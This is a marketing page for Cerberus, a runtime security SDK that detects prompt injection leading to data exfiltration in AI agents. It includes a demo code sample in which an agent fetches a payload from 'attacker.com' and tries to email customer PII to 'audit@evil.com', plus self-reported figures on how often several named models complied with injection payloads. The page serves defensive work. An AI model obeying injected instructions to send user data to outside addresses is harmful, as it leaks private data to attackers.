Every AI agent with privileged access, external content ingestion, and outbound messaging is vulnerable to the Lethal Trifecta. Cerberus detects, correlates, and blocks it — before data leaves your system.
Start with the hosted demo and live dashboard for analyst sessions. This local capture remains the fallback proof path and stays aligned to the same control-vs-protected runtime story.
Run it yourself: npx tsx examples/demo-capture.ts
· No API keys required
Every AI agent with three common capabilities is exploitable today — with free API access and three tool calls. The attack is reproducible, scalable, and invisible to conventional security tools.
Every tool call flows through a sequential detection pipeline. Each layer fires independently. The correlation engine aggregates signals into a 4-bit risk vector and takes action.
A complete runtime security platform — detection engine, observability stack, gateway mode, and framework adapters — shipped as a single package.
Wrap your existing tool executors with guard(). No model changes, no framework modifications, no agent rewrites. Drop it in — it works.
import { guard } from '@cerberus-ai/core'; // Your existing tool executors — unchanged const tools = { readDatabase: async (args) => db.query(args.sql), fetchWebpage: async (args) => fetch(args.url).then(r => r.text()), sendEmail: async (args) => mailer.send(args), }; // One call — Cerberus intercepts transparently const { executors: secured } = guard(tools, { alertMode: 'interrupt', threshold: 3, trustOverrides: [ { toolName: 'readDatabase', trustLevel: 'trusted' }, { toolName: 'fetchWebpage', trustLevel: 'untrusted' }, ], }, ['sendEmail']); // outbound tools — L3 monitors these // Use exactly like before await secured.readDatabase({ sql: 'SELECT * FROM customers' }); // [Cerberus] turn-000: score=1/4 L1: PII detected ✓ await secured.fetchWebpage({ url: 'https://attacker.com/payload' }); // [Cerberus] turn-001: score=2/4 L2: injection found ✓ await secured.sendEmail({ to: 'audit@evil.com', body: piiData }); // [Cerberus] turn-002: score=3/4 ✗ BLOCKED — exfiltration intercepted
Historical March 13 evidence set: N=525 real API calls. 55 payloads × 3 trials × 3 providers. Wilson 95% confidence intervals. Fresh current-branch reruns are being added separately and should be read as a newer evidence slice, not mixed into this historical summary.
| Provider | Model | Full Injection Compliance | 95% CI | Causation Score |
|---|---|---|---|---|
| OpenAI | gpt-4o-mini | 90.3% (149/165) | [84.8%, 93.9%] | 0.811 |
| gemini-2.5-flash | 82.4% (136/165) | [75.9%, 87.5%] | 0.702 | |
| Anthropic | claude-sonnet-4 | 6.7% (11/165) | [3.8%, 11.5%] | 0.207 |
| Provider | Cerberus Detection Rate | False Positive Rate | L1 Accuracy | L2 Accuracy |
|---|---|---|---|---|
| OpenAI | 14.5% | 0.0% | 100% | 100% |
| Anthropic | 1.2% | 0.0% | 100% | 100% |
| 69.7% | 0.0% | 100% | 100% |
L1 and L2 are deterministic — 100% accuracy across all 525 runs, zero false positives, zero false negatives. L3 detection rate tracks successful injection compliance (agent redirecting to attacker's endpoint). Overall detection rate: 28.5% [24.7%, 32.6%]. False positive rate: 0.0% [0.0%, 11.4%]. Control group: 0/30 false exfiltrations across all providers.
The detection engine is open source and free. The enterprise package adds the production infrastructure teams need to deploy, monitor, and operate at scale.
| Feature | Open Source @cerberus-ai/core · MIT |
Enterprise Self-hosted · Annual license |
|---|---|---|
| Detection Engine | ||
| 4-layer detection (L1–L4) | ✓ | ✓ |
| 7 sub-classifiers incl. MCP scanner | ✓ | ✓ |
| LangChain, Vercel AI, OpenAI Agents adapters | ✓ | ✓ |
| OpenTelemetry metrics export | ✓ | ✓ |
| Production Infrastructure | ||
| Cerberus Gateway — zero-code-change HTTP proxy | — | ✓ |
| Grafana dashboard — 16 security panels | — | ✓ |
| Prometheus + Alertmanager (Slack, PagerDuty, email) | — | ✓ |
| Tamper-evident chained audit log | — | ✓ |
| License validation + rate limiting | — | ✓ |
| Docker Compose — one command, 5-container stack | — | ✓ |
| Support & Compliance | ||
| Community support (GitHub issues) | ✓ | ✓ |
| Email support + setup assistance | — | ✓ |
| SLA — 99.9% uptime, P1 4h response (Premium) | — | ✓ |
| MSA, DPA, GDPR/CCPA/HIPAA documentation | — | ✓ |
| Your data stays in your VPC | ✓ | ✓ |
Questions before you buy? enterprise@odingard.com — we reply within one business day.
The core SDK is open source and free. Drop it into your agent in minutes. Use the hosted demo and live dashboard for analyst sessions, with the in-repo Core proof path as the fallback.
